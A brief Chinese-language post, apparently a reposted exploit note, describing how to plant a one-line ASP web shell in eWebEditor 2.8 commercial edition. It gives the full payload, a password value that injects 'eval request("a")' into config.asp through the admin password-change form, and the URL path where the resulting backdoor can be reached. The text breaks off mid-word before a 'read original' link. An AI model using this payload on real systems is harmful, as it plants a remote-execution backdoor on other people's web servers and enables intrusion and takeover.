ewebeditor 2.8 后台插马

ewebeditor 2.8 后台插上一句话web 影响版本:2.8 商业版it 攻击利用:登录后台，点击修改密码—新密码设置为 1″:eval request(“a”)’后台 设置成功后，访问http://www.tmdsb.com/ewebeditor/asp/config.asp文件便可，request 一句话木马被写入到这个文件里面了.密码

>>阅读原文<<